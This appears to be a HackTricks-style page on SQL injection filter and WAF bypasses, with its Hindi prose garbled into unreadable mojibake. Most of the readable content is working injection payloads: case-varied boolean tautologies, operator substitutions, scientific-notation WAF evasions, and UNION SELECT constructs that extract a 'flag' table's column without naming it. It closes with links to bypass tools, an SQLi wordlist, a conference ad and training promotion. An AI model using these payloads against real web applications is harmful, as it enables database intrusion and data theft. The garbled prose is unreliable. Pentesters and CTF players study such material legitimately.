рдХреАрд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ - рдЕрдкрд░рдХреЗрд╕/рд▓реЛрдЕрд░рдХреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

рдХреАрд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ - рд╕рдордХрдХреНрд╖ рдСрдкрд░реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

рдЖрдк рдЗрд╕ рдЯреНрд░рд┐рдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЧрд╣рди рд╡реНрдпрд╛рдЦреНрдпрд╛ gosecure blog рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ, рдЖрдк WAF рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрдЬреНрдЮрд╛рдирд┐рдХ рд╕рдВрдХреЗрддрди рдХрд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рддрд░реАрдХреЛрдВ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

рдХреЙрд▓рдо рдирд╛рдореЛрдВ рдХреА рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдореВрд▓ рдХреНрд╡реЗрд░реА рдФрд░ рд╡рд╣ рддрд╛рд▓рд┐рдХрд╛ рдЬрд╣рд╛рдБ рд╕реЗ рдЖрдк рдзреНрд╡рдЬ рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдореЗрдВ рд╕рдорд╛рди рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдХреЙрд▓рдо рд╣реИрдВ рддреЛ рдЖрдк рдмрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: 0 UNION SELECT * FROM flag

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХрд┐рд╕реА рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рддреАрд╕рд░реЗ рдХреЙрд▓рдо рддрдХ рдЙрд╕рдХреЗ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛рдП рдПрдХ рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬреИрд╕реЗ: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, рддреЛ рдПрдХ sqlinjection рдореЗрдВ рдпрд╣ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦреЗрдЧрд╛:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

рдпрд╛ comma bypass рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

рдпрд╣ рдЯреНрд░рд┐рдХ https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ рд╕реЗ рд▓реА рдЧрдИ рдереАред

WAF рдмрд╛рдпрдкрд╛рд╕ рд╕реБрдЭрд╛рд╡ рдЙрдкрдХрд░рдг

{% embed url="https://github.com/m4ll0k/Atlas" %}

рдЕрдиреНрдп рдЧрд╛рдЗрдб

рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдкрд╣рдЪрд╛рди рд╕реВрдЪреА

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

тАЛ

тАЛтАЛтАЛтАЛтАЛтАЛтАЛRootedCON рд╕реНрдкреЗрди рдореЗрдВ рд╕рдмрд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реИ рдФрд░ рдпреВрд░реЛрдк рдореЗрдВ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рддрдХрдиреАрдХреА рдЬреНрдЮрд╛рди рдХреЛ рдмрдврд╝рд╛рд╡рд╛ рджреЗрдиреЗ рдХреЗ рдорд┐рд╢рди рдХреЗ рд╕рд╛рде, рдпрд╣ рдХрд╛рдВрдЧреНрд░реЗрд╕ рд╣рд░ рдЕрдиреБрд╢рд╛рд╕рди рдореЗрдВ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдФрд░ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдмрд╛рд▓рддрд╛ рд╣реБрдЖ рдмреИрдардХ рдмрд┐рдВрджреБ рд╣реИред

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}